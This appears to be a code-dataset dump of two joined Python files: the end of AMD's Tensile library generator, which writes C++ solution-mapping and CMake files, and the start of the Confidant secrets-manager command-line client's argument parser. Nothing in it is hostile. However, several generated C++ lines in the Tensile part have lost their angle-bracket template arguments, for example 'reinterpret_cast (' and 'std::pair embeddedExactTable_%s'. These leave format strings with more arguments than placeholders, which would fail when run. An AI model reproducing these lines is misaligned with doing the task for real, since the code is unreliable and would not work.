len(argListSizes)-1 else \");\\n\\n\")\n\n\n # get solution naming for problem type\n solutionsForProblemType = []\n for scheduleTuple in logicData[problemType]:\n solutionsForSchedule = scheduleTuple[2]\n for solution in solutionsForSchedule:\n if solution not in solutionsForProblemType:\n solutionsForProblemType.append(solution)\n\n # solution names for problem type\n solutionNamesForProblemType = []\n for solution in solutionsForProblemType:\n solutionName = solutionWriter.getSolutionName(solution)\n solutionNamesForProblemType.append(solutionName)\n\n # reset problemType source\n if not globalParameters[\"MergeFiles\"]:\n filePrefix = \"Tensile_%s\" % (problemType)\n s = sourceIncludes\n\n for solutionName in solutionNamesForProblemType:\n s += \"#include \\\"%s.h\\\"\\n\" % solutionName\n\n ########################################\n # Per-problem constants here:\n # These are common for all schedules and thus do not include schedule name (vega,hip,etc)\n s += \"\\n\"\n s += \"/*******************************************************************************\\n\"\n s += \"* Per-Problem Functions for %s\\n\" % problemType\n s += \"*******************************************************************************/\\n\"\n\n s += \"// Problem type include the index assignments for free, summation, batch:\\n\"\n s += \"static const ProblemType problemType_%s( \" % problemType\n s += listToInitializer(problemType[\"IndicesFree\"]) + \", \"\n s += listToInitializer(problemType[\"IndicesSummation\"]) + \", \"\n s += listToInitializer(problemType[\"IndicesBatch\"]) + \", \"\n s += listToInitializer(problemType[\"IndexAssignmentsA\"]) + \", \"\n s += listToInitializer(problemType[\"IndexAssignmentsB\"])\n s += \");\\n\"\n\n s += \"\\n\"\n s += \"// Master solution mapper is the entry point for problem->solution mapping\\n\"\n s += \"// There is one master solution mapper per problem type\\n\"\n s += \"// The master solution mapper contains pointers to the solution mappers for each device\\n\"\n s += \"static MasterSolutionMapper masterSolutionMapper_%s;\\n \" % (problemType,problemType)\n\n\n ########################################\n # implement per-Schedule functions in source\n s += \"\\n\"\n s += \"/*******************************************************************************\\n * Per-Schedule Functions\\n *******************************************************************************/\"\n for scheduleTuple in logicData[problemType]:\n\n # get logic parameters for problem type\n scheduleName = scheduleTuple[0]\n deviceNames = scheduleTuple[1]\n solutionsForSchedule = scheduleTuple[2]\n indexOrder = scheduleTuple[3]\n exactLogic = scheduleTuple[4]\n rangeLogic = scheduleTuple[5]\n\n # solution names for schedule\n solutionNamesForSchedule = []\n for solution in solutionsForSchedule:\n solutionName = solutionWriter.getSolutionName(solution)\n solutionNamesForSchedule.append(solutionName)\n\n s += \"\\n\\n\"\n schedProbName = \"%s_%s\" % (scheduleName, problemType)\n s += writeSolutionAndExactTable(scheduleName, deviceNames, schedProbName, problemType, \\\n solutionsForSchedule, solutionNamesForSchedule, exactLogic)\n\n\n # Per-problem function here:\n # function tensileGetSolutionPointer_ProblemType\n del schedProbName\n del scheduleName\n s += \"\\n// problem dims -> solution logic\\n\"\n s += \"SolutionMapper_%s::SolutionRuntime *\\n\" % (problemType)\n s += \"tensileGetSolutionPointer_%s(\\n\" % (problemType)\n for i in range(0, len(argListSizes)):\n s += \" %s %s%s\" \\\n % (argListSizes[i][0], argListSizes[i][1], \\\n \",\\n\" if i < len(argListSizes)-1 else \") {\\n\\n\")\n\n exactLogicStr = writeExactLogic(problemType, indexOrder, \\\n solutionsForSchedule, exactLogic, \\\n solutionNamesForSchedule, True)\n if rangeLogic != None:\n print(\"** warning: ignored ranges in logic file, these should have been expanded with ExpandRanges=1 during Tensile phase 3\")\n s += \" /* exact mappings */\\n\"\n s += exactLogicStr\n s += \"\\n return nullptr;\\n\"\n s += \"\\n}\\n\"\n\n # function tensileGetSolutionName_Schedule_ProblemType\n s += \"\\n// get solution name for problem dims\\n\"\n s += \"const char * tensileGetSolutionName_%s(\\n\" \\\n % (problemType)\n for i in range(0, len(argListSizes)):\n s += \" %s %s%s\" \\\n % (argListSizes[i][0], argListSizes[i][1], \\\n \",\\n\" if i < len(argListSizes)-1 else \") {\\n\\n\")\n\n exactLogicStr = writeExactLogic(problemType, indexOrder, \\\n solutionsForSchedule, exactLogic, \\\n solutionNamesForSchedule, False)\n s += \" /* exact mappings */\\n\"\n s += exactLogicStr\n #s += \" return NULL; // none\\n\"\n s += \"\\n}\\n\"\n\n ########################################\n # implement problem-type functions in source\n s += \"/*******************************************************************************\\n * Per-ProblemType Functions\\n *******************************************************************************/\"\n\n\n # declare tensile_ProblemType\n s += \"\\n// main call to solution; enqueues a kernel\\n\"\n s += \"TensileStatus tensile_%s(\\n\" % problemType\n for i in range(0, len(argListData)):\n s += \" %s %s%s\" \\\n % (argListData[i][0], argListData[i][1], \\\n \",\\n\" if i < len(argListData)-1 else \") {\\n\")\n s += \" auto solution = tensileGetSolutionPointer_%s(\\n\" % (problemType)\n for i in range(0, len(argListSizes)):\n s += \" %s%s\" \\\n % (argListSizes[i][1], \", \" if i < len(argListSizes)-1 else \");\")\n s += \"\\n\"\n s += \" if (solution) {\\n\"\n s += \" TensileSolutionPointer_%s f = reinterpret_cast (solution->_info->_functionPtr);\\n\" \\\n % (problemType, problemType)\n s += \" auto solutionLock = &solution->_lock;\\n\"\n s += \" return f(\"\n for i in range(0, len(argListAll)):\n s += \"%s%s\" \\\n % (argListAll[i][1], \", \" if i < len(argListAll)-1 else \");\\n\")\n s += \" } else {\\n\"\n #s += \" printf(\\\"solution not valid, returning fail\\\\n\\\");\"\n s += \" return tensileStatusFailure; // no solution found\\n\"\n s += \" }\\n\"\n s += \"}\\n\"\n\n # open and close problemType files\n if not globalParameters[\"MergeFiles\"]:\n logicSourceFile = open(os.path.join(outputPath, \"Logic\", \\\n \"%s.cpp\" % filePrefix), \"w\")\n logicSourceFile.write(s)\n logicSourceFile.close()\n\n s += \"\\n\"\n s += writeTensileInitialize(logicData)\n\n # close merged files\n if globalParameters[\"MergeFiles\"]:\n logicSourceFile = open(os.path.join(outputPath, \\\n \"Tensile.cpp\"), \"w\")\n logicSourceFile.write(s)\n logicSourceFile.close()\n\n logicHeaderFile = open(os.path.join(outputPath, \\\n \"Tensile.h\"), \"w\")\n logicHeaderFile.write(h)\n logicHeaderFile.close()\n\n internalHeaderFile = open(os.path.join(outputPath, \\\n \"TensileInternal.h\"), \"w\")\n internalHeaderFile.write(ih)\n internalHeaderFile.close()\n\n\ndef writeTensileInitialize(logicData):\n\n s = \"/*******************************************************************************\\n\"\n s += \"* Tensilze initializer\\n\"\n s += \"*******************************************************************************/\\n\"\n s += \"void tensileInitialize() {\\n\"\n\n for problemType in logicData:\n s += \" masterSolutionMapper_%s.initialize();\\n\" % problemType\n \n for scheduleTuple in logicData[problemType]:\n scheduleName = scheduleTuple[0]\n deviceNames = scheduleTuple[1]\n\n\n schedProbName = \"%s_%s\" % (scheduleName, problemType)\n s += \" solutionMapper_%s.initializeMappers(\" % (schedProbName)\n s += \"{%s},\" % (', '.join('\"{0}\"'.format(w) for w in deviceNames))\n s += \"&masterSolutionMapper_%s);\\n\" % (problemType)\n \n s += \"}\"\n\n return s\n\ndef writeSolutionAndExactTable(scheduleName, deviceNames, schedProbName, problemType, \\\n solutionsForSchedule, solutionNames, exactLogic):\n s = \"\"\n s += \"namespace { // Start schedule '%s'\\n\" % scheduleName\n\n s += \"// solution table - function, name, assertion requirements\\n\"\n s += \"static const SolutionInfo solutionTable_%s[] = {\\n\" % (schedProbName)\n for i in range(0, len(solutionsForSchedule)):\n solution = solutionsForSchedule[i]\n solutionName = solutionNames[i]\n s += \" {(void*)%s, \\\"%s\\\", {%d, %d, %d, %d, %d, %d, %d} }%s // %d\" % \\\n (solutionName, solutionName, \\\n solution[\"AssertSummationElementMultiple\"], \\\n solution[\"AssertFree0ElementMultiple\"], \\\n solution[\"AssertFree1ElementMultiple\"], \\\n solution[\"AssertMinApproxSize\"], \\\n solution[\"LdcEqualsLdd\"], \\\n solution[\"PackBatchDims\"]==2, \\\n solution[\"PackBatchDims\"]==1, \\\n \",\" if i < len(solutionsForSchedule)-1 else \"\", \\\n i)\n s += \"\\n\"\n\n s += \"};\\n\\n\"\n\n # Write the exact problems here\n s += \"// table of exact problem dims and selected solutionIdx\\n\"\n s += \"static const std::pair embeddedExactTable_%s[] = {\\n\" % (problemType,schedProbName)\n numSizes = problemType[\"TotalIndices\"]\n for ruleIdx in range(0, len(exactLogic)):\n rule = exactLogic[ruleIdx]\n problemSize = rule[0][:numSizes]\n solutionIdx = rule[1][0]\n solutionGFlops = rule[1][1]\n s += \" { {\"\n for i in range(0, len(problemSize)):\n if i == 0:\n s += \"%u\" % problemSize[i];\n else:\n s += \", %u\" % problemSize[i];\n s += \"}, %u}\" % (solutionIdx)\n s += \",\" if ruleIdx != len(exactLogic)-1 else \" \"\n s += \" // %.0f GFlop/s\" % (solutionGFlops)\n s += \"\\n\";\n s += \"};\\n\\n\"\n\n # Create a solution mapper and init with the table above:\n s += \"// The solution master constructor here adds device to the master solution mapper\\n\"\n s += \"// The entrypoint to find a solution for this problem is through the master solution master\\n\"\n s += \"static SolutionMapper_%s solutionMapper_%s(\\n\" % (problemType, schedProbName)\n s += \" \\\"%s\\\", // schedule+problem name\\n\" % (schedProbName) \n s += \" solutionTable_%s, %u,\\n\" % (schedProbName, len(solutionsForSchedule))\n s += \" embeddedExactTable_%s, %u,\\n\" % (schedProbName, len(exactLogic))\n s += \" &problemType_%s);\\n\" % (problemType)\n\n s += \"} // end anonymous namespace\\n\" \n return s\n\n\n################################################################################\n# Write Range Logic Recursive\n# ptr :\n# True : write logic to return the function pointer\n# False : write logic to return the function name\n################################################################################\ndef writeExactLogic(problemType, indexOrder,\n solutionsForSchedule, exactLogic, \\\n solutionNames, ptr):\n s = \"\"\n s += \" ProblemDims_%s pdims(\" % problemType\n indexChars = globalParameters[\"IndexChars\"]\n firstStride = 0 if problemType[\"UseInitialStrides\"] else 1\n lastStrideD = problemType[\"NumIndicesC\"]\n lastStrideC = problemType[\"NumIndicesC\"]\n lastStrideA = len(problemType[\"IndexAssignmentsA\"])\n lastStrideB = len(problemType[\"IndexAssignmentsB\"])\n for i in range(firstStride,lastStrideD):\n if i != firstStride: s += \", \"\n s += \"strideD%u%s\" % (i, indexChars[i])\n for i in range(firstStride,lastStrideC):\n s += \", strideC%u%s\" % (i, indexChars[i])\n for i in range(firstStride,lastStrideA):\n s += \", strideA%u%s\" % (i, \\\n indexChars[problemType[\"IndexAssignmentsA\"][i]])\n for i in range(firstStride,lastStrideB):\n s += \", strideB%u%s\" % (i, \\\n indexChars[problemType[\"IndexAssignmentsB\"][i]])\n for i in range(0,len(indexOrder)):\n s += \", size%s\" % indexChars[i]\n s += \");\\n\"\n\n s += \" auto solutionMapper = reinterpret_cast (masterSolutionMapper_%s.mapper());\\n\" \\\n % (problemType, problemType)\n if ptr:\n s += \" return solutionMapper->getSolutionWithFallback(pdims,&masterSolutionMapper_%s);\\n\" % problemType\n else:\n s += \" return solutionMapper->getSolutionWithFallback(pdims,&masterSolutionMapper_%s)->_info->_name;\\n\" % problemType\n\n return s\n\n\n################################################################################\n# Write Solution Call\n################################################################################\ndef writeSolutionCall(solutionName, problemType):\n indexChars = globalParameters[\"IndexChars\"]\n s = \"\"\n s += \"%s(\" % solutionName\n # solution parameters\n s += \" dataD, dataC, dataA, dataB, alpha\"\n if problemType[\"UseBeta\"]:\n s += \", beta\"\n s += \", offsetC, offsetA, offsetB\"\n firstStride = 1\n if problemType[\"UseInitialStrides\"]:\n firstStride = 0\n lastStrideD = problemType[\"NumIndicesC\"]\n lastStrideC = problemType[\"NumIndicesC\"]\n lastStrideA = len(problemType[\"IndexAssignmentsA\"])\n lastStrideB = len(problemType[\"IndexAssignmentsB\"])\n for i in range(firstStride,lastStrideD):\n s += \", strideD%u%s\" % (i, indexChars[i])\n for i in range(firstStride,lastStrideC):\n s += \", strideC%u%s\" % (i, indexChars[i])\n for i in range(firstStride,lastStrideA):\n s += \", strideA%u%s\" % (i, \\\n indexChars[problemType[\"IndexAssignmentsA\"][i]])\n for i in range(firstStride,lastStrideB):\n s += \", strideB%u%s\" % (i, \\\n indexChars[problemType[\"IndexAssignmentsB\"][i]])\n for i in range(0, problemType[\"TotalIndices\"]):\n s += \", size%s\" % indexChars[i]\n s += \", stream, numInputEvents, inputEvents, outputEvent )\"\n return s\n\n\n\n\n################################################################################\n# Write CMake\n################################################################################\ndef writeCMake(outputPath, solutions, kernels, libraryStaticFiles, clientName ):\n print1(\"# Writing Custom CMake\")\n ##############################################################################\n # Min Naming\n ##############################################################################\n if globalParameters[\"ShortNames\"] and not globalParameters[\"MergeFiles\"] :\n solutionSerialNaming = Solution.getSerialNaming(solutions)\n kernelSerialNaming = Solution.getSerialNaming(kernels)\n else:\n solutionSerialNaming = None\n kernelSerialNaming = None\n solutionMinNaming = Solution.getMinNaming(solutions)\n kernelMinNaming = Solution.getMinNaming(kernels)\n solutionWriter = SolutionWriter( \\\n solutionMinNaming, solutionSerialNaming, \\\n kernelMinNaming, kernelSerialNaming)\n kernelWriterSource = KernelWriterSource( \\\n kernelMinNaming, kernelSerialNaming)\n kernelWriterAssembly = KernelWriterAssembly( \\\n kernelMinNaming, kernelSerialNaming)\n\n generatedFile = open(os.path.join(outputPath, \"Generated.cmake\"), \"w\")\n generatedFile.write(CMakeHeader)\n generatedFile.write(\"set( TensileClient_SOLUTIONS\\n\")\n\n # write solution names\n if globalParameters[\"MergeFiles\"]:\n generatedFile.write(\" ${CMAKE_SOURCE_DIR}/Solutions.h\\n\")\n generatedFile.write(\" ${CMAKE_SOURCE_DIR}/Solutions.cpp\\n\")\n else:\n for solution in solutions:\n solutionName = solutionWriter.getSolutionName(solution)\n generatedFile.write(\" ${CMAKE_SOURCE_DIR}/Solutions/%s.h\\n\" \\\n % (solutionName) )\n generatedFile.write(\" ${CMAKE_SOURCE_DIR}/Solutions/%s.cpp\\n\" \\\n % (solutionName) )\n generatedFile.write(\" )\\n\")\n\n # write kernel names\n generatedFile.write(\"set( TensileClient_KERNELS\\n\")\n if globalParameters[\"MergeFiles\"]:\n generatedFile.write(\" ${CMAKE_SOURCE_DIR}/Kernels.h\\n\")\n generatedFile.write(\" ${CMAKE_SOURCE_DIR}/Kernels.cpp\\n\")\n else:\n for kernel in kernels:\n kernelName = kernelWriterSource.getKernelName(kernel) if kernel[\"KernelLanguage\"] == \"Source\" else kernelWriterAssembly.getKernelName(kernel) \n generatedFile.write(\" ${CMAKE_SOURCE_DIR}/Kernels/%s.h\\n\" % (kernelName))\n generatedFile.write(\" ${CMAKE_SOURCE_DIR}/Kernels/%s.cpp\\n\" % kernelName)\n generatedFile.write(\" )\\n\")\n\n\n generatedFile.write(\"set( TensileClient_SOURCE\\n\")\n for fileName in libraryStaticFiles:\n # copy file\n shutil.copy( os.path.join(globalParameters[\"SourcePath\"], fileName), \\\n outputPath )\n # add file to cmake\n generatedFile.write(\" ${CMAKE_SOURCE_DIR}/%s\\n\" % fileName)\n generatedFile.write(\" )\\n\\n\")\n\n # close generated cmake\n generatedFile.close()\n\n\n\n################################################################################\n# Tensile Create Library\n################################################################################\ndef TensileCreateLibrary():\n print1(\"\")\n print1(HR)\n print1(\"# Tensile Create Library\")\n print2(HR)\n print2(\"\")\n\n ##############################################################################\n # Parse Command Line Arguments\n ##############################################################################\n print2(\"Arguments: %s\" % sys.argv)\n argParser = argparse.ArgumentParser()\n argParser.add_argument(\"LogicPath\", help=\"Path to LibraryLogic.yaml files.\")\n argParser.add_argument(\"OutputPath\", help=\"Where to write library files?\")\n argParser.add_argument(\"RuntimeLanguage\", help=\"Which runtime language?\", choices=[\"OCL\", \"HIP\", \"HSA\"])\n argParser.add_argument(\"--cxx-compiler\", dest=\"CxxCompiler\", choices=[\"hcc\", \"hipcc\"], action=\"store\", default=\"hcc\")\n argParser.add_argument(\"--code-object-version\", dest=\"CodeObjectVersion\", choices=[\"V2\", \"V3\"], action=\"store\", default=\"V2\")\n argParser.add_argument(\"--merge-files\", dest=\"MergeFiles\", action=\"store_true\")\n argParser.add_argument(\"--no-merge-files\", dest=\"MergeFiles\", action=\"store_false\")\n argParser.add_argument(\"--short-file-names\", dest=\"ShortNames\", action=\"store_true\")\n argParser.add_argument(\"--no-short-file-names\", dest=\"ShortNames\", action=\"store_false\")\n argParser.add_argument(\"--library-print-debug\", dest=\"LibraryPrintDebug\", action=\"store_true\")\n argParser.add_argument(\"--no-library-print-debug\", dest=\"LibraryPrintDebug\", action=\"store_false\")\n argParser.add_argument(\"--embed-library\", dest=\"EmbedLibrary\",\n help=\"Embed (new) library files into static variables. Specify the name of the library.\")\n\n argParser.add_argument(\"--embed-library-key\", dest=\"EmbedLibraryKey\", default=None,\n help=\"Access key for embedding library files.\")\n args = argParser.parse_args()\n\n logicPath = args.LogicPath\n outputPath = args.OutputPath\n CxxCompiler = args.CxxCompiler\n print2(\"OutputPath: %s\" % outputPath)\n ensurePath(outputPath)\n arguments = {}\n arguments[\"RuntimeLanguage\"] = args.RuntimeLanguage\n arguments[\"CodeObjectVersion\"] = args.CodeObjectVersion\n arguments[\"CxxCompiler\"] = args.CxxCompiler\n arguments[\"MergeFiles\"] = args.MergeFiles\n arguments[\"ShortNames\"] = args.ShortNames\n arguments[\"LibraryPrintDebug\"] = args.LibraryPrintDebug\n arguments[\"CodeFromFiles\"] = False\n arguments[\"EmbedLibrary\"] = args.EmbedLibrary\n assignGlobalParameters(arguments)\n\n print1(\"# CodeObjectVersion from TensileCreateLibrary: %s\" % arguments[\"CodeObjectVersion\"])\n print1(\"# CxxCompiler from TensileCreateLibrary: %s\" % CxxCompiler)\n\n if not os.path.exists(logicPath):\n printExit(\"LogicPath %s doesn't exist\" % logicPath)\n\n logicFiles = [os.path.join(logicPath, f) for f in os.listdir(logicPath) \\\n if (os.path.isfile(os.path.join(logicPath, f)) \\\n and os.path.splitext(f)[1]==\".yaml\")]\n\n print1(\"# LibraryLogicFiles:\" % logicFiles)\n for logicFile in logicFiles:\n print1(\"# %s\" % logicFile)\n\n ##############################################################################\n # Parse config files\n ##############################################################################\n solutions = []\n logicData = {} # keys are problemTypes, values are schedules\n newMasterLibrary = None\n\n libraries = Common.ParallelMap(YAMLIO.readLibraryLogicForSchedule, logicFiles, \"Reading logic files\")\n\n for logic in Utils.tqdm(libraries, \"Processing logic data\"):\n (scheduleName, deviceNames, problemType, solutionsForSchedule, \\\n indexOrder, exactLogic, rangeLogic, newLibrary) = logic\n\n if problemType not in logicData:\n logicData[problemType] = []\n logicData[problemType].append((scheduleName, deviceNames, \\\n solutionsForSchedule, indexOrder, exactLogic, rangeLogic ))\n for solution in solutionsForSchedule:\n if solution not in solutions:\n solutions.append(solution)\n\n if newMasterLibrary is None:\n newMasterLibrary = newLibrary\n else:\n newMasterLibrary.merge(newLibrary)\n\n # create solution writer and kernel writer\n kernels = []\n kernelsBetaOnly = []\n for solution in solutions:\n solutionKernels = solution.getKernels()\n for kernel in solutionKernels:\n if kernel not in kernels:\n kernels.append(kernel)\n solutionKernelsBetaOnly = solution.getKernelsBetaOnly()\n for kernel in solutionKernelsBetaOnly:\n if kernel not in kernelsBetaOnly:\n kernelsBetaOnly.append(kernel)\n\n # if any kernels are assembly, append every ISA supported\n\n if globalParameters[\"ShortNames\"] and not globalParameters[\"MergeFiles\"]:\n solutionSerialNaming = Solution.getSerialNaming(solutions)\n kernelSerialNaming = Solution.getSerialNaming(kernels)\n else:\n solutionSerialNaming = None\n kernelSerialNaming = None\n solutionMinNaming = Solution.getMinNaming(solutions)\n kernelMinNaming = Solution.getMinNaming(kernels)\n solutionWriter = SolutionWriter( \\\n solutionMinNaming, solutionSerialNaming, \\\n kernelMinNaming, kernelSerialNaming)\n kernelWriterSource = KernelWriterSource( \\\n kernelMinNaming, kernelSerialNaming)\n kernelWriterAssembly = KernelWriterAssembly( \\\n kernelMinNaming, kernelSerialNaming)\n\n libraryStaticFiles = [\n \"SolutionMapper.h\",\n \"TensileTypes.h\",\n \"tensile_bfloat16.h\",\n \"KernelHeader.h\",\n \"SolutionHelper.cpp\",\n \"SolutionHelper.h\",\n \"Tools.cpp\",\n \"Tools.h\" ]\n\n # write cmake\n clientName = \"LibraryClient\"\n writeCMake(outputPath, solutions, kernels, libraryStaticFiles, clientName )\n\n # write solutions and kernels\n problemTypes = list(logicData.keys())\n codeObjectFiles = writeSolutionsAndKernels(outputPath, CxxCompiler, problemTypes, solutions,\n kernels, kernelsBetaOnly,\n solutionWriter,\n kernelWriterSource, kernelWriterAssembly)\n\n # write logic\n writeLogic(outputPath, logicData, solutionWriter)\n\n newLibraryDir = ensurePath(os.path.join(outputPath, 'library'))\n \n masterFile = os.path.join(newLibraryDir, \"TensileLibrary.yaml\")\n newMasterLibrary.applyNaming(kernelMinNaming)\n YAMLIO.write(masterFile, Utils.state(newMasterLibrary))\n\n if args.EmbedLibrary is not None:\n embedFileName = os.path.join(outputPath, \"library/{}.cpp\".format(args.EmbedLibrary))\n with EmbeddedData.EmbeddedDataFile(embedFileName) as embedFile:\n embedFile.embed_file(newMasterLibrary.cpp_base_class, masterFile, nullTerminated=True,\n key=args.EmbedLibraryKey)\n\n for co in Utils.tqdm(codeObjectFiles):\n embedFile.embed_file(\"SolutionAdapter\", co, nullTerminated=False,\n key=args.EmbedLibraryKey)\n\n print1(\"# Tensile Library Writer DONE\")\n print1(HR)\n print1(\"\")\n\n", "source": "sunway513/Tensile", "license": "MIT"}
+{"text": "# -*- coding: utf-8 -*-\n\"\"\"Confidant cli module.\"\"\"\n\n# Import python libs\nfrom __future__ import absolute_import\nfrom __future__ import print_function\nimport logging\nimport json\nimport argparse\nimport sys\nimport getpass\nimport re\n\nimport confidant_client\n\nKEY_BAD_PATTERN = re.compile(r'(\\W|^\\d)')\n\n\ndef _get_client_from_args(args):\n if args.mfa:\n mfa_pin = getpass.getpass('Enter the MFA code: ')\n else:\n mfa_pin = None\n auth_context = {}\n if args._from:\n auth_context['from'] = args._from\n if args._to:\n auth_context['to'] = args._to\n if args.user_type:\n auth_context['user_type'] = args.user_type\n if not auth_context:\n auth_context = None\n if args.config_files:\n config_files = args.config_files.split(',')\n else:\n config_files = None\n client = confidant_client.ConfidantClient(\n args.url,\n args.auth_key,\n auth_context,\n token_lifetime=args.token_lifetime,\n token_version=args.token_version,\n assume_role=args.assume_role,\n mfa_pin=mfa_pin,\n region=args.region,\n retries=args.retries,\n config_files=config_files,\n profile=args.profile,\n verify=args.verify,\n timeout=args.timeout\n )\n return client\n\n\ndef _parse_args():\n parser = argparse.ArgumentParser(\n formatter_class=argparse.RawDescriptionHelpFormatter,\n description=('A client for fetching credentials from a confidant'\n ' server.'),\n add_help=False\n )\n parser.add_argument(\n '-h',\n '--help',\n action=_HelpAction,\n help='show this help message and exit'\n )\n parser.add_argument(\n '--config-files',\n help=('Comma separated list of configuration files to use. Default:'\n ' ~/.confidant,/etc/confidant/config')\n )\n parser.add_argument(\n '--profile',\n help='Configuration profile to use. Default: default'\n )\n parser.add_argument(\n '-u',\n '--url',\n help=('url of the confidant server. i.e.'\n ' https://confidant-production.example.com')\n )\n parser.add_argument(\n '-v',\n '--verify-ssl',\n help='Whether we verify the servers TLS certificate',\n action='store_true',\n dest='verify',\n default=True\n )\n parser.add_argument(\n '--retries',\n help=('Number of retries that should be attempted on confidant server'\n ' errors. Default 0.'),\n type=int\n )\n parser.add_argument(\n '--timeout',\n help=('Connect and read timeout in seconds to confidant server.'\n ' Default 5.'),\n type=int,\n )\n parser.add_argument(\n '-k',\n '--auth-key',\n help='The KMS auth key to use. It must either be an ARN (i.e. a string'\n ' starting with \"arn:aws:kms:\") or an alias with the prefix'\n ' \"alias/\" (i.e. \"alias/authnz-production\")'\n )\n parser.add_argument(\n '-l',\n '--token-lifetime',\n type=int,\n help=('The token lifetime, in minutes. The client will backdate the'\n ' token by 3 minutes to avoid clockskew issues, so the minimum'\n ' lifetime you should use is 4. You may also want to pad the'\n ' lifetime by a few minutes to avoid clock skew the other'\n ' direction, so a safe recommended minimum is 7.')\n )\n parser.add_argument(\n '--token-version',\n type=int,\n help='The version of the KMS auth token.'\n )\n parser.add_argument(\n '--from',\n dest='_from',\n help=('The IAM role or user to authenticate with. i.e.'\n ' myservice-production or myuser')\n )\n parser.add_argument(\n '--to',\n dest='_to',\n help='The IAM role name of confidant i.e. confidant-production'\n )\n parser.add_argument(\n '--user-type',\n help='The confidant user-type to authenticate as i.e. user or service'\n )\n parser.add_argument(\n '--mfa',\n help='Prompt for an MFA token.',\n action='store_true',\n dest='mfa'\n )\n parser.add_argument(\n '--assume-role',\n help='Assume the specified role.'\n )\n parser.add_argument(\n '--region',\n help='Use the specified region for authentication.'\n )\n parser.add_argument(\n '--log-level',\n help='Logging verbosity.',\n default='info'\n )\n parser.add_argument(\n '--version',\n help='Print version and exit.',\n action='version',\n version='%(prog)s {version}'.format(version=confidant_client.VERSION)\n )\n parser.set_defaults(mfa=False)\n\n subparsers = parser.add_subparsers(dest='subcommand')\n get_service_parser = subparsers.add_parser('get_service')\n get_service_parser.add_argument(\n '--service',\n help='The service to get.'\n )\n get_service_parser.add_argument(\n '--no-decrypt-blind',\n help=('Do not decrypt blind credentials, instead give back the raw'\n ' results from get_service.'),\n action='store_false',\n dest='decrypt_blind'\n )\n get_service_parser.set_defaults(\n decrypt_blind=True\n )\n\n create_blind_cred_parser = subparsers.add_parser('create_blind_credential')\n create_blind_cred_parser.add_argument(\n '--blind-keys',\n required=True,\n help=('A dict of region to kms key mappings to use for at-rest'\n ' encryption for multiple regions in json format i.e.'\n ' {\"us-east-1\":\"alias/confidant-production-blind-useast1\",'\n '\"us-west-2\":\"alias/confidant-production-blind-uswest2\"}'),\n type=json.loads\n )\n context_group = create_blind_cred_parser.add_mutually_exclusive_group(\n required=True\n )\n context_group.add_argument(\n '--group-context',\n help=('A encryption context for blind credentials in json format i.e.'\n ' {\"group\":\"web-production\"}. This context will be applied to'\n ' all regions, if multiple regions are provided in --blind-keys.'\n ' Mutually exclusive with --blind-contexts.'),\n type=json.loads\n )\n context_group.add_argument(\n '--blind-contexts',\n help=('A custom dict of region to encryption context for blind'\n ' credentials in json format i.e.'\n ' \\'{\"us-east-1\":{\"to\":\"web-production-useast1\"},'\n '\"us-west-2\":{\"to\":\"web-production-uswest2\"}}\\'. Mutually'\n ' exclusive with --group-context.'),\n type=json.loads\n )\n create_blind_cred_parser.add_argument(\n '--name',\n required=True,\n help='A name for this blind credential i.e. \\'production ssl key\\'.'\n )\n create_blind_cred_parser.add_argument(\n '--credential-pairs',\n required=True,\n help=('A dict of key/value pairs for credentials in json format i.e.'\n '\\'{\"ssl_key\":\"----- BEGIN...\",\"ssl_cert\":\"----- BEGIN...\"}\\'.'),\n type=json.loads\n )\n create_blind_cred_parser.add_argument(\n '--cipher-type',\n help='The type of cipher to use for at-rest encryption.',\n default='fernet'\n )\n create_blind_cred_parser.add_argument(\n '--cipher-version',\n help=('The version of the cipher implementation to use for at-rest'\n ' encryption.'),\n default=2\n )\n create_blind_cred_parser.add_argument(\n '--no-store-keys',\n help=('Do not to store the dict keys of credential-pairs as a clear'\n ' text list in the blind-credential metadata. By default the'\n ' dict keys are stored to help ensure blind credentials will not'\n ' conflict with each other when mapped to a service and also to'\n ' aid in use of the credentials in application code (since you'\n ' need to reference the key to get the value).'),\n action='store_false',\n dest='store_keys'\n )\n create_blind_cred_parser.add_argument(\n '--metadata',\n help=('A dict of key/value pairs to be stored as clear-text extensible'\n ' along with the credential in json format i.e. '\n '\\'{\"path\":\"/etc/mysecret\",\"mode\":\"0600\"}\\'.'),\n type=json.loads,\n default='{}'\n )\n enabled_group = create_blind_cred_parser.add_mutually_exclusive_group()\n enabled_group.add_argument(\n '--enabled',\n help='Enable this credential (default).',\n action='store_true',\n dest='enabled'\n )\n enabled_group.add_argument(\n '--disabled',\n help='Disable this credential.',\n action='store_false',\n dest='enabled'\n )\n create_blind_cred_parser.add_argument(\n '--documentation',\n help='Documentation on how to rotate this credential'\n )\n create_blind_cred_parser.set_defaults(\n store_keys=True,\n enabled=True\n )\n\n update_blind_cred_parser = subparsers.add_parser('update_blind_credential')\n update_blind_cred_parser.add_argument(\n '--blind-keys',\n help=('A dict of region to kms key mappings to use for at-rest'\n ' encryption for multiple regions in json format i.e.'\n ' {\"us-east-1\":\"alias/confidant-production-blind-useast1\",'\n '\"us-west-2\":\"alias/confidant-production-blind-uswest2\"}'),\n type=json.loads\n )\n context_group = update_blind_cred_parser.add_mutually_exclusive_group()\n context_group.add_argument(\n '--group-context',\n help=('A encryption context for blind credentials in json format i.e.'\n ' {\"group\":\"web-production\"}. This context will be applied to'\n ' all regions, if multiple regions are provided in --blind-keys.'\n ' Mutually exclusive with --blind-contexts.'),\n type=json.loads\n )\n context_group.add_argument(\n '--blind-contexts',\n help=('A custom dict of region to encryption context for blind'\n ' credentials in json format i.e.'\n ' \\'{\"us-east-1\":{\"to\":\"web-production-useast1\"},'\n '\"us-west-2\":{\"to\":\"web-production-uswest2\"}}\\'. Mutually'\n ' exclusive with --group-context.'),\n type=json.loads\n )\n update_blind_cred_parser.add_argument(\n '--id',\n required=True,\n help=('An id for this blind credential i.e.'\n ' \\'f232fcd3747c47718e48a034f4cdfc0e\\'.'),\n dest='_id'\n )\n update_blind_cred_parser.add_argument(\n '--name',\n help='A name for this blind credential i.e. \\'production ssl key\\'.'\n )\n update_blind_cred_parser.add_argument(\n '--credential-pairs',\n help=('A dict of key/value pairs for credentials in json format i.e.'\n '\\'{\"ssl_key\":\"----- BEGIN...\",\"ssl_cert\":\"----- BEGIN...\"}\\'.'),\n type=json.loads\n )\n update_blind_cred_parser.add_argument(\n '--cipher-type',\n help='The type of cipher to use for at-rest encryption.'\n )\n update_blind_cred_parser.add_argument(\n '--cipher-version',\n help=('The version of the cipher implementation to use for at-rest'\n ' encryption.')\n )\n update_blind_cred_parser.add_argument(\n '--no-store-keys',\n help=('Do not to store the dict keys of credential-pairs as a clear'\n ' text list in the 